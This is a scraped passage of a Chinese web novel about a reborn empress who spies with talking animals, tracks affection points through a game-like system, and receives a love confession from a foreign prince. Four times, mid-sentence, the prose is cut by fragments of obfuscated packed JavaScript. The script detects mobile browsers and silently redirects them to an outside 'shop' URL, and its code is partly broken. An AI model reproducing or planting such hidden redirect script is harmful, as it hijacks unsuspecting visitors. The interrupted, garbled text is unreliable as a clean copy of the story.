l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13234403|132007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 越答得清晰,他心中的怀疑更甚。 楚绍没有说话,只是定定地看着坐在床尾的容蓁,眼底的情绪翻涌,让人捉摸不透。 他分明感觉到是一个人的手掌,从后面将他劈晕。当时,那个伺候她的宫女站在他们旁侧,不是她出的手,而他将容蓁禁锢在他怀中,她是有机会动手的,而且当时她那么抵触…… 楚绍看着容蓁,目光复杂难辨。 半晌,他突然笑了,笑声中却听不出丝毫笑意,反而透着一股森森寒意。 他松开她的手,重新躺回床上,语气意味深长,“皇后,但愿你说的,都是真的。” 容蓁垂下眼帘,掩去眸底的寒光。 - 楚绍因受伤,免了百官近几日的早朝,一连几日也不见他踏入后宫,众妃嫔日日翘首以盼,却天天失望而归。 明华殿内,檀香袅袅。 容蓁一袭正红凤袍,端坐在主位上,素手轻抚着膝上慵懒的波斯猫,姿态优雅从容。 座下各色妃嫔环肥燕瘦,花枝招展,却无人敢随意开口打破这份宁静。 直到,一道娇媚的声音响起,“皇后娘娘,陛下自上回来了皇后这宫里,回去后就龙体欠安,就连早朝都歇了几日,不知娘娘可有什么说法没有?” 说话的淑贵妃,柳眉杏眼一颦一笑皆是风情,只是那双美目中,此刻却带着几分挑衅。 容蓁抬眸,嘴角勾起语气温和道:“淑贵妃言重了,皇上只是受了点小伤,并无大碍。只是前段时日忙于朝政,疏于休息,所以太医让陛下停歇了几日早朝。莫非淑贵妃觉着是本宫的错?” 淑贵妃掩唇轻笑,眼波流转间满是妩媚,“臣妾不敢,只是……” 她故意拉长了尾音,目光扫过容蓁平静的眉眼,最终落在她抚摸着波斯猫的手上,语气意味深长,“妹妹只是担心陛下龙体。” 容蓁自然听出她话里的阴阳怪气,却只是淡淡一笑,放下手中的猫,任由它慵懒地跑到一旁。 “淑贵妃有心了。”容蓁语气不咸不淡,听不出喜怒。 她眸光一凛,缓缓起身,环视众人,步履优雅地走到淑贵妃面前,居高临下地看着她语气威严:“本宫身为皇后,自然事事以皇上为重。倒是淑贵妃,如此关心皇上,怎么不见你去御书房侍疾呢?” 容蓁语气温柔,说出的话却字字带刺,直戳淑贵妃的心窝。 六宫之中谁人不知这几日陛下心情烦闷,去的人别说陛下了,就连陛下身边的王乾都没见着就被侍卫拦在金銮殿外。故此,无人知道到底发生了何事。 淑贵妃脸色一僵,心中暗恨,却不敢在面上表露半分。 其他妃嫔见状,更是噤若寒蝉,生怕惹祸上身。 “皇后娘娘说笑了,臣妾……”淑贵妃还想再辩解几句,却被容蓁打断。 “好了,本宫乏了,你们都退下吧。” 容蓁不再理会淑贵妃,转身回了内殿,只留下一个冰冷的背影。 淑贵妃咬紧牙关,眼中闪过一丝怨毒,却只能不甘心地随着众人一起退下。 明华殿内,再次恢复了平静。 只是,这份平静之下,却暗藏着波涛汹涌。 她知道,那日的说辞并未打消楚绍对她的怀疑。 而她,也必须更加小心谨慎。 58.年关 日子一晃,已近年关。 明华殿内,容蓁一身素雅的杏黄色宫装,墨发高挽,斜插一支白玉簪。她斜倚在贵妃榻上,纤细的手指轻轻翻动着手中的账册,清澈的眸子却掠过一丝冷然。 “娘娘,这是今年除夕宫宴的安排以及年礼单子,您看看可还有什么需要添减的?”绿芜捧着一本厚厚的册子,轻手轻脚地走到她身边。 她接过账册,随意翻看了几页,语气淡淡:“就按着这个办吧,不必再做改动。” “是。”绿芜应声退下。 容蓁放下账册,走到窗边,望着窗外飘落的雪花,思绪却飘向了远方。 东宫的线索,她已经查到了一些,但还是远远不够。 楚绍对她的怀疑,并没有随着日子一天天过去而消散。 连着明华殿他也已许久未至,倒是遂了她的心愿,落得几日心底清闲。 而萧誉,自那日后院西偏殿一别后,虽然收到的书信、小玩意儿一日未断,但两人即便在同一座皇宫之中也再未相见。 听人回报,说是他日日忙于去各位交好的公子府中做客,去时还顺便送了些年货,几乎都在用了膳后才回宫。 又因着临近除夕,那授课的先生向楚绍告了假,故此学宫也就歇了课业,王公子弟们都卯足了劲儿打算年底好好玩耍一番。 容蓁想起自己过的上一个除夕,还是在前世。 也正是那日,宋冉琴给她送来鸩酒,还告诉她楚绍送去容府的“赐菜”是一道灭族圣旨。各家团聚,守岁迎新的日子,楚绍给送给容氏一族的“祝福”是灭顶之灾,哪怕是现下想起都觉得讽刺。 她阖上眼,恍然之间让她分不清如今到底是现实还是梦境。 她忆起前世,楚绍命人封锁明华殿时,一双冰冷的凤眼看着她跪坐在地,脸上神情漠然,看着她仿佛看的是个陌生人一般,眼底没有温情,尽是厌恶之色。 她还记得,那日大雪纷飞,寒风凛冽。 那时兄长被人诬陷春闱泄题,锒铛入狱。不仅读书的学子,还有满京的子民皆在编着歌谣骂“容氏”。 “奸臣容氏,祸国殃民!” “天理昭昭,报应不爽!” 她一身单衣,冰寒地冻,就那样跪在明华殿的前院中苦苦哀求楚绍彻查此事,还容家一个清白。 那人眼底却比当日的天还要寒意彻骨,他冷冷地看着她,正如看着一名罪犯的眼神道:“容平章身为主事却以权谋私,寒了天下读书人的心,哪怕你们容氏先祖有从龙之功,如今朕为了朕的子民,也绝不会姑息!” 原来那时的他还记得容氏曾有从龙之功。只不过江山即定,他这个没有帝王胸怀与本领的人,能做的就只剩下过河拆桥的事。 她耳边悠然响起,他那毫无情绪波澜的话:“既然要平复百姓之怨,那么你即为‘容氏’人,亦为朕的皇后,就替你的兄长赎罪,也为朕的江山稳固,永居这明华殿中,无召不得出殿半步。” 那日的雪仿佛落入她的心中,冷得她生疼,直到殿门从外被关闭,她依然久久跪在那冰冷的地上…… 忽然,她腿边感觉到有毛茸茸的触感暖暖的,打断了她的思绪。 她睁开眼才看见不知何时腿边躺了两只猫,正慵懒地互相舔着毛发。她静静地看着那只猫,时光恬静才让她找回了一点现实之感。 前段时日,楚绍一直压着哥哥江南盐税案之功不发,而前日终是赶在除夕之前下了封赏的旨意。 之前芯红所料不错,封赏的旨意中果不其然有另有主理明年开春会考一事。 如今二哥奉命驻守到漠北,无召连除夕都不能回京一家团聚。自己又在深宫之中,今年的春节府中怕是比之往年要萧条许多。 想到此处她轻轻叹了口气,将手伸进猫儿的毛发中,一下一下地抚摸。片刻后,她从美人榻上起身,走到梳妆台前坐下。 铜镜中映照出一张清丽脱俗的脸庞,眉目如画,唇红齿白,只是那双清澈的眸子中却带着几分不属于这个年纪的沉稳和冷静。 “娘娘,您怎么了?”芯红端着一盏热茶进来,见容蓁神色有异,关切地问道。 她接过茶盏,轻轻抿了一口,语气平静:“无事,只是想起父亲与两位兄长,心中有些思念罢了。”她顿了顿,将手里的茶盏放下,同芯红道:“再过几日就是除夕,你与绿芜带着宫里其他人将这明华殿里布置一番,一定要喜气洋洋的。” 别人想见她落魄,她偏不如别人的意,非得将这后宫冰冷的日子过得风风火火。 芯红得了吩咐没有多问,应了一声就抬步往殿外去,走到门口才回头道:“娘娘不亲自看看?”。 她笑着摆摆手,“有你与绿芜安排,本宫放心的很,倒是今日得了点闲,想去后院悄悄那群小崽子们。” - 御书房内。 楚绍一身明黄龙袍,坐在御案前批阅奏折。 他剑眉星目,鼻梁高挺,薄唇紧抿,不怒自威。只是那双深邃的眸子中,却带着几分阴鸷和猜忌。 “陛下,您歇歇吧。”说话的是宋冉琴,她身穿一袭华丽的凤袍,头戴金步摇,精心打扮的脸上带着几分真心与柔情。 御案前的人却连眼皮都没抬一下,冷声道:“朕还有些未批的奏折,贵妃先回去歇息吧。” 宋冉琴一听心中不悦,却也不敢表露出来,如今整个六宫只她能进得来这御书房,哪容易就那么回去。她脸上如春风般笑开,只得柔声劝道:“皇上已经许久未曾踏足后宫了,后宫姐妹们都盼着皇上能够雨露均沾呢。” 楚绍放下手中的奏折,抬头看向淑贵妃,目光锐利如刀:“爱妃这是在怪朕?” 她心中一凛,连忙娇声欲滴道:“臣妾不敢,只是这段时日姐妹们都想念陛下了。” 楚绍冷笑一声:“想念?” 他将手中朱笔狠狠地置于砚台上,语气森冷却不理一旁委屈作态的宋冉琴,朝王乾问道:“明华殿中今日在忙些什么?” “回陛下,明华殿中宫人们现下正按照皇后娘娘的意思,在精心布置着。”王乾抖了抖身子,打起十二分精神立即回答道。 御案那人一听,面色越发暗了下去道:“她倒是有闲心。” 宋冉琴听着楚绍只打听着明华殿的动静,哪怕容蓁未亲自来这御书房,陛下心中所念所想还是她。她眼中的恨意似烈火瞬间燃烧,握紧藏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254823|132007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于袖中的双拳,但也就在霎那间,将情绪收回款款上前。 她笑着走到楚绍的侧后,为他捏着肩,虽是恨地牙槽痒痒,但面上还是保持微笑道:“陛下,您前日封赏了皇后娘娘的兄长,娘娘心里高兴,自然也就将她宫里布置的喜庆些。臣妾期待着,怕是几日后的宫宴也定然热闹非凡呐!” 话落,楚绍脸上的阴沉这才散去些许,拍了拍宋冉琴的手背道:“有劳爱妃前几日想了让容平章负责主理明年会考一事这个折中的法子,既没落了容氏的脸面,又为朕分了这段时日心头之忧。” 她立于楚绍身后,笑眼弯弯道:“能为陛下分忧是臣妾的福分。” - 明华殿暖阁内。 容蓁目送芯红离开,挂在脸上的笑意渐渐淡去,起身往礼物的偏门走去。 她穿过游廊,走过绕过几株腊梅,来到后院。后院景色一如既往的雅致,石径小桥,假山流水,亭台楼榭,无一不精致。 只是如今在容蓁眼中,却多了几分萧瑟。 她径直走到一处梅林前,伸手轻轻抚摸着一枝开得正艳的红梅。红梅娇艳欲滴,在白雪的映衬下,更显得娇艳动人。 “喵~”一声猫叫声突然响起。 她低头一看,不知何时,方才在暖阁里的两只猫跟着她一起来到了后院。 似是感受到她的情绪,那只通体雪白的猫咪正蹲在她的脚边,一双碧绿色的眼睛一眨不眨地看着她,尾巴轻轻摇晃着,亲昵地蹭着她的裙摆,发出撒娇般的轻哼。 她微微一笑蹲下身来,伸手轻轻抚摸着那只猫柔软的毛发。 “还是你最乖巧了。”容蓁轻声说道,语气中带着几分宠溺。猫咪舒服地眯起眼睛,发出“呼噜呼噜”的声音。 她将白猫抱起,对着它道:“如今这外边儿天冷,你虽有皮毛到底还是怯寒,偏殿里也有地龙暖和得很,得闲我会过来看你们的。” 那白猫似是不满意,对着她拉长了音“喵呜~”一声。 “好~我知晓了,那就随你们罢,别将自己冻着就行。”她笑了笑,语气十分宠溺道。 说话间,一人两猫已至偏殿前。 容蓁放下怀中的白猫,推门进去,殿中的喜鹊与鹞子也十分雀跃地扇动起翅膀来,似是在迎接她一般。 她找了个干净凳子坐下,瞧着后院中的这些动物,互为彼此的食物链,却能因为她而和平相处,心中不由得生出一些自豪和安慰来。 “咦?另一只去哪儿了?”后院本有五只喜鹊,如今只有四只在这偏殿里,她皱了皱眉问道。 其中一只喜鹊“吱吱”叫了几声,说是那一只不在的喜鹊不久前才往金銮殿的方向飞去了,应该一会儿才回来。 容蓁了然地点点头,从怀中摸出一方右下角绣着白兰花的帕子来。 然后朝白猫招了招手,那白猫也特为听话的来到她腿边蹲坐着看着她。 只见她摸了摸白猫的头,又挠了挠它的下巴,直到白猫特别惬意地眯起眼来,她才将那方帕子轻轻系在白猫的脖子上,又轻轻拍了拍靠近尾部的背,那猫舒服地将屁股撅的老高,才听容蓁缓缓道:“拜托你,去将这方帕子送去给萧世子。” 59.白兰花 那白猫的屁股立即垂落下来,嘴里不满地“喵呜”一声,容蓁听了闭了闭眼骂得可脏。 她伸手摸了摸白猫的头,轻声安抚它道:“好啦~若是觉得方才挠痒挠得舒服,等你帮我送完帕子回来,我帮你挠到满意为止可好?” 话落,那白猫这才满意地看她一眼,懒洋洋地伸了个懒腰,踱步到容蓁脚边蹭了蹭,便轻巧地跃出殿门,消失在回廊尽头。 她瞧了瞧窗外灰白的天色,红梅冷香自风中传来。 不多时,一阵轻微的振翅声传来,一只喜鹊落在窗台上,歪着脑袋看着她。 其他四只喜鹊见它回来,也都自房梁上飞下来落到窗台边,叽叽喳喳叫唤着。 这正是先前飞出殿外的五只喜鹊之一,也是最机灵的一只,容蓁唤它“小五”。 她心中一动,走上前去,轻声问道:“可是听到了什么有趣的事?” 喜鹊歪了歪头,乌溜溜的眼睛看着她,喉咙里发出“咕咕”的叫声,像是在向她讲述着什么。 容蓁心中一凛,黛眉微蹙示意它继续说下去。 她从袖中掏出一块糕点,递到小五面前。 小五欢快地啄了几口,又从窗台上跳下来,靠近容蓁,喉咙里的声音未间断。 容蓁耐心地听着,秀眉微蹙,眸中闪过一丝寒光。 “你是说,你听到陛下和淑贵妃提起哥哥?”原来小五方才出去是帮她探听消息去了。 喜鹊歪着头,又叫了几声,像是在回应她。 “他们说了什么?”他们二人提起哥哥,必然不会是什么好事。 喜鹊扑腾着翅膀,继续讲着它在御书房外梅树枝头听到的所有对话。 说完,它得意地抖了抖羽毛,似乎对自己的表现十分满意。 容蓁的脸色却渐渐沉了下来。 原来哥哥主理会考一事,竟然是宋冉琴在旁煽动的! 前世她一直以为,这是楚绍为了打压容家而故意为之。如今看来,不仅只是楚绍,还有宋氏也在背后推波助澜。 “好,我知道了,你做得很好。” 她又喂了喜鹊几块糕点,看着它振翅飞进殿内,才缓缓合上窗户。 容蓁的指尖轻轻摩挲着窗棂,目光落在窗外那株红梅上,殷红的颜色在灰白的天色下显得格外刺眼。 “宋冉琴……”她低声呢喃,语气中带着一丝冷意。 - 栖云轩内。 才回宫的萧誉正襟危坐于案前,修长的手指间夹着一张细长的纸条,正认真看着纸条上的最新情报。 一只毛色雪白的小猫忽然从窗外跃入,四脚轻盈地落在书案一角,姿态优雅。 它抖了抖身上的落了雪水的毛发,碧绿色的眼睛滴溜溜地转着,在看到萧誉时,软糯糯地叫唤了几声,见他毫无反应,便迈着优雅的步子走到他脚边,轻轻蹭着他的衣袍。 萧誉低眉看向那只白猫,一双碧眼灵动狡黠,倒有几分讨喜,似乎曾在哪里见过。 脑海中突然想起,这猫是她养在明华殿后院的那只,那晚他曾在后院见到过。 他薄唇微抿,不动声色地观察着那只在他脚边蹭来蹭去撒娇的白猫。 “喵呜~” 白猫见他迟迟没有动作,更加卖力地在他腿边蹭着。 萧誉终究还是心软了,他弯下腰,伸手想去摸摸它毛茸茸的小脑袋,指尖却触到了一块柔软的丝绸。 他动作一顿,修长的手指轻轻从白猫的脖子上解下帕子来。展开后这才发现白猫的脖子上系着一块月白色的帕子。 那月白色缎面上绣着一朵栩栩如生的白兰花,针脚细密,栩栩如生,一看便知那针法和手法只有师从名师才教得出。 他脑海中忽然出现,容蓁穿着一袭月白色衣裙的模样。乌黑的长发用一根白玉簪挽起,只在鬓边戴了一朵新鲜的白兰花,清丽脱俗。 月白色衣裙的袖中,偶尔露出一个手帕的角来,上面绣着的白兰花,与她发间的那一朵遥相呼应,更衬得她清雅无双。 萧誉看着手中的帕子,月白色曾是入宫前她常穿的颜色,而白兰花也是她最喜欢的花。 他喉结滚动,眸色渐深,指腹轻轻摩挲着那朵白兰花,仿佛那方手帕上带着少女独有的馨香。 他按捺住心底的悸动,面上却依旧是云淡风轻,只看向白猫语气平淡地问道:“是她让你把这个送来给我的?” 白猫歪了歪脑袋,似乎听懂了他的话,讨好地蹭了蹭他的手,对他缓缓眨了眨碧绿色的眼睛,轻轻地“喵”了一声。 萧誉得到答案,嘴角不自觉地勾起一抹笑意,这笑意却转瞬即逝,他故作冷淡地将帕子收起在怀中,淡淡道:“知道了,你可以回去了。” 白猫却赖着不走,在他脚边打转,似乎在控诉他的无情。 萧誉被它缠的无奈,却也不忍心赶它走,只能任由它在书房里撒欢。 他表面上装作不在意,可目光却时不时地落在白猫身上,眼底是掩饰不住的温柔。 明华殿后院的人,本坐着思索着如何应对明年开春会考之事,脑海中突然响起系统的声音,吓得她一激灵。 【宿主与萧誉好感度增长10分,目前总好感度为52分。已满足下一个支线任务的前置条件】 她记得上一次忽然增长10分还是在乞巧佳节那日。 她低头轻笑,没想到,日子过得这么快,他们已经相识半年了。 “系统,下一个支线任务什么时候才能开启?”她在脑海中问。 【系统未检测到开启条件,宿主莫急,请静心等候】 她压下心中情绪,转首看向窗外。 窗外,红梅傲雪,暗香浮动。 “也不知,他是否喜欢那朵白兰?”她轻声呢喃,语气中带着一丝不易察觉的期盼。 脑海中,系统的木讷音再次响起。 【宿主,您已连续五次询问该问题,系统建议您直接询问目标人物,方可获得最准确的答案。】 容蓁被系统一语道破心思,脸上浮现一抹羞赧的红晕。 “我只是随口问问……”她小声辩解,语气却越来越弱。 系统沉默不语。 - 入夜,寒风凛冽,雪花纷飞。 容蓁独自一人站在廊下。一声猫叫划破夜的寂静。 “你终于舍得回来了?”她看向自屋檐跳下来的白猫,嗔了它一眼道。 “喵呜~”那猫儿闲庭漫步地走至她脚边,炫耀般地从嘴里吐出一张纸条来。 她弯腰摸了摸白猫的头将纸条捡起展开来,上面是一首词,文绉绉的,大意是邀容蓁晚上一起赏月。 信的左下角,还画着一幅小画。一轮圆月当空,一株极粗壮的大树上肩并肩坐着两个小人。画风不似楚燕这边的精细工笔,而是带着异域风格的粗拙有趣。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13272270|132007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 只不过,那轮圆月因这信的运输方式,留下了两个细小的孔在上面。 这时,恰好绿芜拿了顶厚厚的狐裘披风过来,细心地为容蓁披上后,这才瞥见握在她手里的那封信——上的小人儿。 “哎呀,这是娘娘呢!”绿芜捂着嘴,噗嗤笑出声来。 指着那穿着裙子的小人,小人头上插着一只簪子,怎么看都很像自家娘娘平日里常戴的那根白玉簪,“呀!娘娘这鬓边还有一朵白兰花呢。” 她闻言愣了半晌,这才又看了眼那小人儿,果见小人鬓间有朵小巧的白兰花,与她手帕上绣的模样几乎一般无二。 “真是没想到啊,当初那么直来直去的一个人,也学会附庸风雅了。” 容蓁故作不赞同的摇了摇头。但心里却觉得那两个小小的墨水人儿,极是可爱。 半个时辰后,她来到两人上次相见的废弃宫殿。 “世子。”她出来时换上了才做好的一身月白色的宫装,青丝依旧是白玉簪盘起,目光看下墙角之人道。 那人闻声双眸一闪,黑暗中看向她的眼眸中一瞬间似有天上星光落下。 “今夜星月黯淡……”容蓁抬头看看被云层遮住了半边的圆月,不解为何他会邀请她今夜赏月。 “上次十五之夜,我发现了那人踪迹。只可惜那人似是极为怕人,那人被我不慎惊走。之后我夜夜来此,那人却未再出现。我想着今日也是十五,所以……” 容蓁面上笑容渐渐消失,眼眸却是越听越亮。 “你的意思,是这人应该只在十五这日出现?”她接过萧誉未说完的话道。 萧誉点头应是。 “辛苦你了。”她极力压抑下激动的心情,突然想起刚才萧誉说的“夜夜来此。” 恰逢云破月出,银亮的月光洒落,让她看见了他眼下淡淡的青影。 她敛下眼睑,她心中知晓自重生以来他帮了她许多。 萧誉将她的表情尽收眼底,唇角微勾拉过她的手腕,随即示意她跟着自己一起埋伏在一堵破墙后面。 两人才在破墙后静立,一个嘶哑的声音,由远及近传来。 “偷……” “……不要……” “……不要脸……呸……” 容蓁眼眸骤缩,转头看向身边的人。 却见他向自己眨了眨眼,示意她静观其变。 半盏茶后,那人声到了近前,她身旁的人身形一闪,从破墙后闪出,须臾只听那声音已转变成一阵细微的呜咽声。 她随即也从破墙后闪出,之间萧誉手指翻飞几下,就干脆利落的将人捆成了粽子。 “……女人?”容蓁皱眉打量了半晌,才疑惑的出声道。 她从未见过这么脏的人,乱草一样的头发上沾着树叶草屑,身上的衣服已经看不出本来的颜色,只有一只脚上穿着破了洞的鞋。 要不是看到那微微起伏的曲线,她还真瞧不出此人到底是男是女。 她皱眉,看着眼前这个被绑起来的女人也不挣扎,只是呵呵地傻笑着,嘴里嘟囔着一些旁人听不明白的话。容蓁仔细将这女子打量一番,只能大概辨识出年龄在四十往上。 而且,应该不是冷宫跑出来的。 楚绍虽然已经不是毛头小子,可后宫嫔妃最大的也是和他一样的年纪不过二十五,他的后宫不可能有年龄这么大的女子。 是哪个宫里的嬷嬷么? 60.偷情 面色清冷的萧誉看着眼前这个自己蹲守多日的人,眸光一沉想抬手扶额。手刚伸出来,又想起自己的方才碰到那女人,顿时手停在半空中,厌恶之色溢于言表。 “来,洗洗。”容蓁将他的行为瞧在眼里,不知从哪里找了干净的水来,又打湿了帕子,示意他伸手过来。 她一边将水倒出细细的一线,一边伸手握住萧誉修长的指尖,轻轻揉搓起来。 手指相碰的刹那,两人都愣了一愣。 两人眉眼传情,都相当默契没有做声,一个低眉认真搓洗,一个看着对方默不作声,似是有心,又似是有意。 “偷……” “哈哈哈,偷……情!” 跪在地上的疯女人歪头看了半晌,不知受了什么刺激,突然哑着嗓子喊了起来。寂静的夜空,只她那疯癫且吐字不清的喊声长旋。 她不顾自己被绑着,剧烈的挣扎起来,失去平衡倒在了地上。倒在地上还便疯笑边喊着“偷情”两个字! 容蓁被这突如其来的变故吓了一跳,手下意识一松,接水的盛器瞬间掉落在地,发出“砰”的一声闷响。 水花四溅,打湿了她的裙摆,也溅到了萧誉的衣袍上。 萧誉却似毫无所觉,只是一瞬不瞬地看着她,深邃的眸子里翻涌着复杂的情绪。 “她……是不是在说我们?”她有些不自在地避开萧誉炙热的目光,指着地上还在疯疯癫癫喊着“偷情”二字的女人问道。 萧誉不悦地皱起眉来,蹲下身手刀瞬间起落,将那最终不停重复着同样词的疯女人劈晕了过去。 他从袖中掏出一方手帕,动作自然地帮容蓁擦拭裙摆上的水渍,声音温润道:“好在这附近平日没什么侍卫巡逻,也都是废弃的殿宇,没什么人。” 容蓁点了点头,长叹一口气道:“可惜,你蹲寻这人那么久,不曾想竟是个疯癫的,算是白忙活了……”她仰起头望着月亮怅然无语。 片刻后,萧誉清冷的语声在她身后响起,“既然找到了人,人疯不疯的不打紧,只要活着就必定能从她嘴里撬出东西来。” 话音未落,忽然有温热的气息夹着甘松香欺近而来。 容蓁反应不及,只觉的面颊上一热,有柔软温热的东西一触即离,整个身子仿佛被雷电击中。她一双杏眼猛然睁大,倏然抬头回看,看见的便是少年放大了的俊脸。 一瞬间,心跳如鼓。 “你……”容蓁抚上面颊,整个人都呆住了。 “都被人说是偷情了,若不坐实岂不是冤枉?”萧誉垂在广袖中的双手紧握成拳,面上却是故作风轻云淡地道。 半晌后她才反应过来,后退一步,一双杏眼不可置信地看着萧誉眨了眨,这人怎么说这种胡话都能面不改色,理所理当? 片刻容蓁这才道:“萧世子这是在京中逛惯了秦楼楚馆,将本宫当成哪位佳人知音了?”她又羞又气,恼羞的话冲口而出。 黑夜中萧誉脸颊上悄然飞起红晕,轻咳一声故作镇定。 半晌才自嘲的一笑,语气中带着一丝窘迫,“我的处境,娘娘最清楚不过。与那些王孙公子结交,一起游玩是有的,其他的都是无稽之谈。即便是去那种……地方,也只是喝酒听曲,逢场作戏罢了。” 夜幕的掩映下,少年耳根作烧,面上也有些热胀。 容蓁抿了抿唇,她也不知为何脱口而出的是从前听的那先流言,明明萧誉曾和她解释过。 “世子无需解释,人不风流枉少年嘛,我都懂得……”她蹙眉敛下眼睑,只觉得脸颊热烫,心跳如雷,这人今晚怎的如此胆大。 “我真的没有!若你不喜欢,今后我再不去那种地方就是了。”萧誉见她似是真的误会了,将平日里那些老成持重都丢在了脑后,只急于想跟她解释清楚。 情急之下,他一把拉住她的衣袖,隔着凉滑的丝绸握住了她纤细的手腕。 她心下一惊,少年人掌心的热度隔着衣衫传来,被他握着的手腕皮肤瞬间发热发烫,心跳也跟着乱了几拍。 “萧世子请自重!”她低声斥道,可语声中并没有严厉的气势,反倒是多了一丝撒娇的意味。 此时,两人离得极近,萧誉深深呼吸着她发间的清香,不自觉的有些意乱神迷。 容蓁作势挣了一挣却无法挣脱,见萧誉还不放手,面上红晕更甚,忍不住有些恼了。她鼻端都是干净清冽的甘松气息,那是独属于萧誉的味道。 那陌生的男子气息让她本来就不稳的心跳愈发乱了,让她忍不住想要逃离! 萧誉被她微恼的声音唤回了神智,不情愿地松开了紧握的手指,面上颇为遗憾。 容蓁迅速退开两步,低头整理着有些褶皱的衣袖,垂着头不再说话。 “是我的不是,唐突了娘娘,还请娘娘责罚。”萧誉见她是真的有些恼了,还当她觉得自己的举止轻浮,肃容向着她作了一揖。 “萧世子,你到底想如何?我虽与你结盟,可到底是楚燕皇后,你今夜……”容蓁心里有些乱,想着这样到底不妥,便板着脸,拿出平日里皇后的做派来,想着要与面前的少年分说清楚。 “我心悦于你。” 一阵微风拂过,带来落雪的簌簌声,也将少年炙热的话语送入容蓁耳中。 他语声悦耳,可不亚于一个惊雷在她头顶炸响。 他这是……在向她表白? 他,南疆世子,在向堂堂楚燕皇后表白?! 这实在是无稽之谈,简直是滑天下之大稽!可为什么……她偏偏有些心动了呢?! “自从见到娘娘您,萧誉心中便无他人。从前没有,今后……也不会再有。”萧誉深深望进容蓁眼底,一字一顿的道。 “你疯了……我可是……”容蓁只觉得浑身无力,但理智告诉她,她得劝服这个少年,他们两个之间根本没一丝可能,说是隔着天堑都不为过! “是又如何?”萧誉截口道。 “你若愿意,便是我南疆未来的王妃。这楚燕皇宫之中,步步惊心,处处陷阱,你在这里,真的开心么?待这里的事情结束,你可以随我去南疆,那里是可以任雄鹰翱翔的开阔之地,你一定会喜欢的。” 少年的双眸亮的惊人,说出口的话带着致命的吸引与蛊惑。 离开这里么…… 她眼中随着萧誉话语亮起的光,渐渐黯淡下来,直至熄灭。 “说的倒像真的一般……”她垂下眼眸,遮住了萧誉那过于灼热,仿佛能将人烫伤一般的视线。 她轻叹一声,语声细微的像是要散落在晚风之中。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281684|132007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “相信我,好么?”见她有所松动,萧誉欺近一步,声音有些黯哑的道。 不知过了多久,可能是一瞬,又恍若是几个时辰。 容蓁倏然抬头,冲着萧誉璀然一笑。那是萧誉见过的最美的笑容。琼鼻秀目,唇瓣嫣红,那一刹那她面上似乎发着光,容色艳丽的让人不敢逼视。 萧誉松开一直紧握着的双手,掌心已是被汗水浸透了。 “我……” 他又向前欺近一步,容蓁却连连后退了两步,脚尖一点,身子向一旁的宫墙掠去,夜空里只留下一道轻柔的声音,“今夜太晚了,世子该歇息了。” 人去的远了,她娇柔的声音却仿佛还在耳边回响。 - “世子,你真的,那啥……” 回到栖云轩,易辰兴奋的不行,围着萧誉聒噪个不停,上蹿下跳闹得不得安宁。 世子本来不让他跟着,是他自己放心不下,到底偷偷摸摸跟在后面埋伏下来。 没想到啊! 居然让他看到了这么一出精彩的好戏!他那位对女人从来不假辞色的世子啊!南疆有名的冰山烈男啊! 居然……哎! “世子,你这算是离目的又近了一步?”易辰嬉皮笑脸地蹦到萧誉跟前,挡住他的去路问道。 “这算什么,以后的路还长着。”萧誉一身雪白的中衣,慵懒的靠在榻上,冷不丁应声。 “路,何路?”易辰不解地看向他家世子。 “难不成,您不是真的喜欢楚燕皇后?”易辰挠了挠头,更迷糊了。“那您还……” “中原有句俗话,真真假假,虚虚实实,方为兵家诡道。”萧誉勾唇一笑,玩味的道。 是这样么? 易辰探究的看向萧誉,自打回来起,世子这嘴角就一直高高的翘着,从来没下去过。 他这到底是虚,还是实?他对那位楚燕皇后,到底是真,还是假?只怕他自己都没将心意弄清楚吧! 易辰摇了摇头,难得在心里腹诽了一下自家无所不能,唯独“情”字上一窍不通的世子…… 明华殿后院东偏殿内。 两名暗卫共同看守着一个蜷缩在床榻角落里的女人。 “怎么样,能说话了么?” 容蓁前倾着身子查看了下昏睡中的女子皱眉问道。 “她曾受过极大惊吓,这些年不知怎么撑着活下来的,身子早已破败。属下给她服了药,能让她神智慢慢恢复,只是药效发挥还需要时间。”紫冥恭声回道。 她没有再询问,只是又凑得近些,就着月光仔细观察着那张苍白枯瘦的脸。 “给她做一副画像,让芯红先找可靠的宫中人问问,有没有人认识这女人。注意着些,别走漏了风声。” 眼见着今日又是没有收获,容蓁带上兜帽,眼眸中闪过锐光。 雁过留声,人过留痕。她一定能将藏在这女人身上的秘密挖出来! 